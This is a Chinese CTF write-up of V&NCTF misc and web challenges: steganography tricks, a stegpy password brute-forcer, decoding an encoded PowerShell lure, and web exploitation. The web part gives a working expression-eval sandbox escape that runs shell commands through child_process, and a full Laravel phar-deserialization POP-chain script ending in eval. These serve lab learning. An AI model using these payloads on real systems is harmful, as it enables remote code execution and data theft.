# 前言
通过 Buu 平台来复现以往的题目
# MISC
# 冰冰好像藏着秘密
下载题目给的附件,发现名字是 FFT,猜测是傅里叶盲水印
这里尝试解压发现很多报错,但是 rar 还是能提取出来文件
这里实际上是 RAR 文件的伪加密,将 84 改为 80 即可
解压后拿到的照片是灰度照片也是更加验证了我们的猜想
import cv2 as cv | |
import numpy as np | |
import matplotlib.pyplot as plt | |
img = cv.imread('FFT.png', 0) #直接读为灰度图像 | |
f = np.fft.fft2(img) #做频率变换 | |
fshift = np.fft.fftshift(f) #转移像素做幅度谱 | |
s1 = np.log(np.abs(fshift))#取绝对值:将复数变化成实数取对数的⽬的为了将数据变化到 0-255 | |
plt.subplot(121) | |
plt.imshow(img, 'gray') | |
plt.title('original') | |
plt.subplot(122) | |
plt.imshow(s1,'gray') | |
plt.title('center') | |
plt.show() |
这样就拿到了 flag
# Do_you_like_Rhythm_Doctor
看题目介绍应该是和节奏医生有些关联
下载附件发现其中有一个 rbzip
简单看了一下文件头,发现还是压缩包文件
得到一个 main.rdlevel 文件,很明显是用来存储关卡数据的
这里将 pulseType 提取出前几个转化为二进制
发现是 f,很显然就是这个思路了,将其全部提取出来按照 row 来排序
01100110 01101100 01100001 01100111 1111011 | |
01010111 00110011 00110001 01100011 01101111 | |
01101101 01100101 01011111 01010110 00100110 | |
01001110 01011111 01000011 01010100 01000110 | |
01111101 |
# interesting_fishing
题目描述
crazyman_army是某安全公司的研究人员 | |
这天他的其邮箱里发现了一封奇怪的邮件 | |
你能帮助他找到其隐藏的信息吗 | |
附件是第一部分的flag | |
图片是第二部分的flag | |
最后flag为 第一部分+第二部分(vnctf{*}) |
文件解压后得到两个文件,但是没有题目描述中所说的图片文件,很显然图片也在文件中包含,这里先看一下注释文本中的内容
多了一条 hint:powershell 解码后的字符可能存在不可读的情况 那并不是解码错误,bin 文件中有好几串很长的 base
这里分别解码
这里发现一个图片的链接
这里就找到了图片
最后一长串是一个 RAR 文件,这里将文件保存下来,解压后这里还找到了一个假嘟 flag
在 myproject\giveyourflag\giveyourflag\x64\Debug 的 Browse.VC.db 文件中
$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A" | |
$bytes = [System.Convert]::FromBase64String($string); | |
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); | |
echo $decoded |
发现了这样一段,通过 base64 解码
RTF 格式
用 65536 减去之后,进行数据转换,获得网址
https://vnctf-213-1257061123.cos.ap-nanjing-myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar
下载下来(挺能套娃的)
给了一个提示,密码为 4 为数字使用 ARCHPR 得到密码 9705
Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia | |
Amid an ongoing, full-scale border lockdown against COVID-19, North Korea on Tuesday warned its citizens against relying on imported foreign goods — calling the habit a dangerous “disease” that could spread the virus from abroad. | |
Pyongyang’s warning against bringing in foreign goods is not just empty words, either: On Monday, sources told VOA that supermarkets and shops in Pyongyang have lacked foreign-sourced staples for months, including coffee, cocoa and chocolate. This appears to be out of paranoia that foreign goods could carry traces of COVID-19 — which is possible, according to the United Nations, though not the most common way the virus has been transmitted worldwide. | |
Sources also told VOA that there’s currently no evidence that food items are coming across the border from China, with only locally produced items available on Pyongyang store shelves. | |
INTENSE BORDER CONTROL | |
Tuesday’s state-run Rodong Sinmun newspaper cautioned against the country’s long-standing “importation fever” (수입병), which comes as the North continues a strict border control. The DPRK even set up “shoot on sight” zones along its border with China for fear that travelers could carry the virus. Meanwhile, the country is operating under the contested premise that items, air and even yellow dust pollution could carry COVID-19 across borders. | |
“The most entangling issue today on [the DPRK] demon |
找了半天没有发现有用的信息,后来发现是一个 zip 文件
直接用 7zip 解压
在 word 目录下面发现隐藏信息
发现是 0 宽隐写 Unicode Steganography with Zero-Width Characters (330k.github.io)
vnctf {APT_1S_c0M1nG 拿到前一半 flag,接着看图片,这里直接使用 oursecret 打开
得到一个 2.txt 文件
拿到另一半 flag
# HAPPYNEWYEAR
好家伙给两个 hint 还没多少解,稍微有点残忍,第一个 hint 给了一个网址 dCode's Tools List (Crypto Tools, Math & Game Solvers) Online,第二个 hint:stegpy,但是不是那么白给的 stegpy
蓝色的是谢赫语言
横线的那个是 hint 给的第一个网址中的 Chinese Code (Samurai) - Decoder, Translator Online (dcode.fr)
f87840bdddcc01e4 |
最后得到的一串明文
得到这样一张图片,更具 hint 知道是 stegpy,但是不知道密码,这里写脚本爆破一下
# -*- coding: utf-8 -*- | |
import os | |
from subprocess import Popen,PIPE | |
import sys | |
def checkwebp(pic): | |
print("IF you don't need a password for the pic please input 1") # 无密钥 | |
print("IF you know the password of the pic please input 2") # 有密钥且已知 | |
print("IF not input 3 I will use the password.txt") # 有密钥但未知 | |
choice = input() | |
if choice == '1': | |
os.system("stegpy {}".format(pic)) | |
elif choice == '2': | |
print("INPUT THE password:") | |
password = input() | |
cmd = ["stegpy", "-p",pic] | |
subp = Popen([sys.executable, '-c', 'import pty, sys; pty.spawn(sys.argv[1:])', *cmd],stdin=PIPE,stdout=PIPE,stderr=PIPE) | |
print(subp.stdout.read(len("Enter password (will not be echoed):"))) | |
subp.stdin.write(bytes((password+'\n').encode('utf-8'))) | |
subp.stdin.flush() | |
print(subp.stdout.readlines()) | |
# print(subp.stdout.readlines()[1]) | |
print('\n') | |
elif choice == '3': | |
file = open('password.txt', 'r') | |
line = file.readline() | |
while line: | |
print(line) | |
cmd = ["stegpy", "-p", pic] | |
subp = Popen([sys.executable, '-c', 'import pty, sys; pty.spawn(sys.argv[1:])', *cmd], stdin=PIPE, stdout=PIPE,stderr=PIPE) | |
print(subp.stdout.read(len("Enter password (will not be echoed):"))) | |
subp.stdin.write(bytes((line + '\n').encode('utf-8'))) | |
subp.stdin.flush() | |
print('result:') | |
result = subp.stdout.readlines()[1] | |
print(result) | |
if result != b'Wrong password.\r\n': | |
break | |
# print(subp.stdout.readlines()[1]) | |
print('\n') | |
line = file.readline() | |
else : | |
print('Input Wrong!') | |
if __name__ == "__main__": | |
checkwebp('happynewyear.png') |
这里我直接用网上师傅的脚本了,最后爆出来的密码是 tyinfo
# WEB
# Ez_game
一道纯 js 的题
要通关这个游戏,游戏大佬可以试试强行通过,这里先把目光看向 js
['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118h97x114w32l95m95N101x110O99d111B100u101w32F61P32u39R106k115w106O105F97z109R105f46p99y111A109U39d44F10G32U32F32r32G95V97p32D61Y32X123W125h44r10M32V32P32x32h95X48M120O98J52A56I51A32r61d32v91o34Q95c100n101M99e111I100l101I34b44r32X34r104N116Z116m112B58A47b47P119M119d119M46z115W111I106V115f111s110m46J99D111W109Z47g106R97c118D97F115L99I114Y105F112v116E111l98m102Q117d115E99x97K116r111U114v46s104d116B109F108Z34e93B59q10m40r102O117f110Z99D116D105a111a110u40Y95J48O120H100Q54k52k50e120I49a41P32f123s10E32j32I32d32K95E48D120k100R54S52g50O120H49y91J95q48X120w98C52a56R51E91m48B93c93E32d61e32w95X48v120b98L52e56b51O91m49b93C10Q125V41N40t95r97g41L59X10M118d97I114t32E95f95x79y120f97D50O55p56y49X32I61j32A91K34i34t44h32L34a45m112w97p117H115M101E100z45m34r44g32Q34y87v105k110E33A32h102S108G97y103u123E116k104V105l115E95F103u97g109Y101I95l105R115A95x102G117h110l110E121M33B125f34N44c32q34f71C97L109O101x32c79k118R101J114R33b34L44V32h34U80g114e101b115c115t32c69w115I99g97u112W101z34C44h32d34a120f34k44B32W34i121H34q44x32P34E99x101x110k116J101Z114j34c44B32s34B117V110j100K101A102U105M110L101x100T34k44u32U34R108t111X103q34W44p32M34o21024U38500O34R44T32u34a29256O26412t21495E65292k106N115v20250y23450F34N44f32V34Q26399e24377C31383B65292R34u44t32j34y36824A35831C25903t25345D25105o20204W30340R24037P20316L34R44y32w34o106Z115A106T105F97b34i44a32m34u109T105L46e99p111F109l34U93m59Y10u108S101q116s32P98f105A103l84N101h120n116V32A61B32t95V95W79u120a97z50N55J56g49r91g48C120L48a93r59K10k105U102S32K40X112d97m117q115P101T100A41S32r123R10r32D32a32X32t98Y105Y103N84I101p120j116U32e61J32R95g95v79i120F97F50n55h56H49d91S48x120N49u93H10C125z59O10C105W102e32t40G119n105T110x84r105G109Y101W114q46C73s115m83G101O116j40m41O41R32S123R10c32I32b32A32V98x105X103v84E101b120V116V32L61P32N95e95u79I120v97W50T55W56i49S91j48m120O50d93k10g125J59G10Q105p102m32Y40O112J108s97c121w101U114u46P73a115D68E101Y97D100E40g41g41Q32Y123r10K32X32T32q32r98b105q103i84o101V120D116v32N61H32b95R95J79q120i97q50X55o56g49G91T48Z120F51G93l59k10c32v32f32e32P68u114l97N119q84f101x120z116m40j95r95I79n120R97E50x55o56h49y91p48Q120z52L93g44k32E109H97Q105E110w67Z97l110d118S97M115j83a105B122j101E91p95n95Y79U120S97H50C55a56l49E91z48w120A53C93Y93I32b47M32o50R44R32w109n97U105b110j67h97M110H118j97X115g83D105M122n101W91J95q95y79x120i97R50Y55z56s49N91z48v120R54s93a93S32I47z32A50k32w43S32f56j48j44T32B52Y50c41O10V125M59f10h68n114V97m119f84G101C120P116u40E98i105M103U84C101e120d116q44f32Z109v97i105R110G67u97m110Q118e97n115K83G105V122M101j91Q95Y95y79M120f97G50k55i56C49c91x48j120R53F93a93L32b47p32Z50k44a32l109c97r105A110W67i97Y110t118H97y115J83H105C122r101R91a95L95s79a120d97M50G55H56k49O91m48p120R54y93d93J32x47y32c50c32Y45d32C56M48i44r32b55G50f44j32x95j95r79S120i97g50J55V56a49a91Y48f120w55c93M44M32s50p41D59x59h59g10r40L102e117n110g99S116k105D111t110Y40M95J48s120f53y49N57K55H120Y50z44F32z95B48b120t53z49A57D55X120n51H44w32o95P48t120g53n49M57G55n120T52U44D32B95A48B120Z53K49H57t55X120d53L44f32o95J48R120D53s49H57d55J120b54Y44w32U95u48g120J53Q49v57B55s120a55H41z32L123K10G32X32F32V32W95k48o120T53S49I57d55s120i55d32O61X32n95B95n79d120E97E50s55o56w49j91N48z120D56R93R59j10p32Q32s32e32H95F48O120Y53F49C57W55r120q53M32f61U32Y102R117F110N99c116V105r111y110w40I95X48h120s53Y49o57q55k120o56Q41f32S123S10R32C32B32t32f32r32q32F32Z105Y102S32o40c116E121R112d101G111f102m32p97d108Q101M114s116V32G33s61C61z32B95p48W120e53S49y57p55Q120C55o41q32L123z10I32u32a32y32W32e32b32h32W32s32m32l32c97I108C101N114t116V40P95w48X120x53F49M57d55B120x56u41F10C32F32A32B32h32F32r32y32w125L59G10o32f32T32O32T32O32c32H32D105d102v32H40i116V121a112R101e111G102B32D99O111n110L115o111X108W101S32D33C61H61G32o95u48e120z53k49d57j55s120E55m41p32c123o10V32I32B32R32A32Y32N32H32E32R32l32V32P99D111R110i115r111m108h101D91Z95i95s79g120K97d50W55w56r49n91E48l120W57W93F93R40P95D48G120q53Q49d57p55q120M56R41F10q32C32N32u32X32T32E32d32X125W10D32P32h32i32Y125N59D10v32J32C32X32B95V48w120K53C49I57r55I120E52C32Q61E32X102o117o110I99u116M105C111z110h40v95g48L120b53d49q57e55J120L57j44C32F95R48X120M53S49U57w55h120I50w41W32r123j10q32e32k32e32y32Z32I32g32z114c101D116A117A114V110w32x95p48H120k53O49r57b55Z120w57Q32N43M32A95I48z120M53A49S57s55K120o50o10u32y32k32j32u125a59j10u32S32S32n32p95A48s120k53a49M57F55J120J54G32c61R32l95c48X120C53s49q57U55V120E52N40A95t95T79x120Q97R50o55F56e49Y91i48G120p97P93y44S32J95k48r120q53g49i57E55x120D52O40N95H48S120d53i49M57H55x120e52e40X95k95Z79q120C97l50T55K56I49k91R48o120g98g93Q44v32r95R95K79W120N97u50A55v56Z49m91A48x120X99H93x41y44T32w95n95v79i120g97E50y55h56m49C91X48S120N100w93n41q41b59M10I32e32F32g32e116J114t121I32r123N10M32J32N32m32j32l32J32g32X95n48g120l53X49b57l55D120p50s32b61T32f95W95E101N110o99c111M100M101Q59f10J32k32y32K32B32F32X32R32K105d102c32b40e33U40o116q121j112D101A111D102c32x95p48o120R53a49b57S55d120M50d32p33q61s61o32d95z48B120A53s49S57t55a120j55H32B38S38e32N95i48L120O53j49W57O55V120P50X32o61Y61i61k32P95j48M120Z53O49t57W55P120p52V40d95N95y79a120X97r50t55o56v49a91I48m120m101p93B44T32V95b95j79s120M97q50p55j56G49A91g48i120O102U93G41y41a41i32F123F10O32Z32o32T32P32e32Z32K32T32h32z32d32b95l48V120H53v49J57I55L120w53J40n95M48o120F53C49d57W55e120S54R41U10U32u32C32c32x32z32y32J32F125L10H32K32G32r32d125e32A99A97l116x99y104R32H40B101U41W32j123A10m32t32b32L32A32A32B32D32Z95t48z120m53V49N57N55B120x53Z40m95k48c120A53L49M57V55R120l54U41X10E32R32G32Q32q125U10D125p41P40A123E125S41"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4'); |
放到控制台上就拿到 flag
# naive
也是两个提示, 不会有web手电脑里没IDA吧,不会吧不会吧
和 仔细阅读package.json哦/汪汪
打开题目后这里直接给了原代码
import express from "express"; | |
import bindings from "bindings"; | |
import { fileURLToPath } from 'url' | |
import path from "path"; | |
import pkg from 'expression-eval'; | |
const { eval: eval_, parse } = pkg; | |
const addon = bindings("addon"); | |
const file = fileURLToPath(import.meta.url); | |
const app = express(); | |
app.use(express.urlencoded({ extended: true })); | |
app.use(express.static("static")); | |
app.use("/eval", (req, res) => { | |
const e = req.body.e; | |
const code = req.body.code; | |
if (!e || !code) { | |
res.send("wrong?"); | |
return; | |
} | |
try { | |
if (addon.verify(code)) { | |
res.send(String(eval_(parse(e)))); | |
} else { | |
res.send("wrong?"); | |
} | |
} catch (e) { | |
console.log(e) | |
res.send("wrong?"); | |
} | |
}); | |
app.use("/source", (req, res) => { | |
let p = req.query.path || file; | |
p = path.resolve(path.dirname(file), p); | |
if (p.includes("flag")) { | |
res.send("no flag!"); | |
} else { | |
res.sendFile(p); | |
} | |
}); | |
app.use((err, req, res, next) => { | |
console.log(err) | |
res.redirect("index.html"); | |
}); | |
app.listen(process.env.PORT || 80); |
很显然这里 source 可以任意文件读取,然后通过利用 eval 来 getshell
这里先根据提示查看 package.json 文件
{ | |
"name": "name", | |
"version": "0.1.1", | |
"description": "Description", | |
"private": true, | |
"main": "src/index.js", | |
"type": "module", | |
"scripts": { | |
"start": "node src/index.js", | |
"build:native": "node-gyp rebuild", | |
"build:native:dev": "node-gyp rebuild --debug" | |
}, | |
"dependencies": { | |
"bindings": "^1.5.0", | |
"express": "^4.17.1", | |
"expression-eval": "^4.0.0", | |
"node-addon-api": "^3.0.2", | |
"seval": "^2.0.1" | |
}, | |
"devDependencies": { | |
"@types/express": "^4.17.8", | |
"@types/node": "^14.10.1", | |
"node-gyp": "^7.1.2", | |
"prettier": "^2.0.5" | |
} | |
} |
暂时没看到什么能利用的,将目光放回 eval
app.use("/eval", (req, res) => { | |
const e = req.body.e; | |
const code = req.body.code; | |
if (!e || !code) { | |
res.send("wrong?"); | |
return; | |
} | |
try { | |
if (addon.verify(code)) { | |
res.send(String(eval_(parse(e)))); | |
} else { | |
res.send("wrong?"); | |
} | |
} catch (e) { | |
console.log(e) | |
res.send("wrong?"); | |
} | |
}); |
接收一个 e 和一个 code 参数,e 是要被执行的,想要进入这个 if 首先要 code 满足条件 addon.verify (code),这里 addon 是上面利用 bindings 引入的 ---const addon = bindings ("addon"); 它会引入 build/Release/addon.node 里面的包,去读取这个文件,将这个文件下载了下来,一个 elf 文件拿到密码 yoshino-s_want_a_gf,qq1735439536
利用 (1).constructor.constructor
拿到 Funtion 从而实现自定义匿名函数
前面根据提示拿到的 package.json 文件中有这样一行 "type": "module",源代码中还有这样一句 app.use (express.static ("static")); 也就是说可以直接访问直接访问静态资源目录,所以构造 payload
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return+import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/1.js\");})")();
然后去访问 1.js 即可
# Easy_laravel
这里给了源码,hint:需要 CVE 配合 Getshell,很显然是做了修复了
V&NCTF Easy_Laravel Writeup | (guokeya.github.io) 这里参考了这位大佬的博客分析这个题
这里先找到 destruct 这个魔术方法
很多地方都有,但是参数可控的就只有 PendingBroadcast 和 ImportConfigurator 这两个类中,两个地方都是 this->xxx->xxx 的形式,可以调用同名函数,但是找了很久也是没有找到,在看师傅的 wp,实际上可以利用到__call 方法
HigherOrderMessage 类的__call 方法存在任意类的方法调用,很显然接下来就是寻找危险函数
MockTrait 类的 generate 方法存在 eval 调用,这里贴一下大佬的脚本
<?php | |
namespace Symfony\Component\Routing\Loader\Configurator{ | |
class ImportConfigurator{ | |
private $parent; | |
private $route; | |
public function __construct($class){ | |
$this->parent = $class; | |
$this->route = 'test'; | |
} | |
} | |
} | |
namespace Mockery{ | |
class HigherOrderMessage{ | |
private $mock; | |
private $method; | |
public function __construct($class){ | |
$this->mock = $class; | |
$this->method = 'generate'; | |
} | |
} | |
} | |
namespace PHPUnit\Framework\MockObject{ | |
final class MockTrait{ | |
private $classCode; | |
private $mockName; | |
public function __construct(){ | |
$this->classCode = "phpinfo();"; | |
$this->mockName = '123'; | |
} | |
} | |
} | |
namespace{ | |
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator; | |
use \Mockery\HigherOrderMessage; | |
use \PHPUnit\Framework\MockObject\MockTrait; | |
$m = new MockTrait(); | |
$h = new HigherOrderMessage($m); | |
$i = new ImportConfigurator($h); | |
$phar = new Phar("shell.phar"); | |
$phar -> startBuffering(); | |
$phar -> addFromString("test.txt","test"); | |
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>"); | |
$phar -> setMetadata($i); | |
$phar -> stopBuffering(); | |
} | |
?> |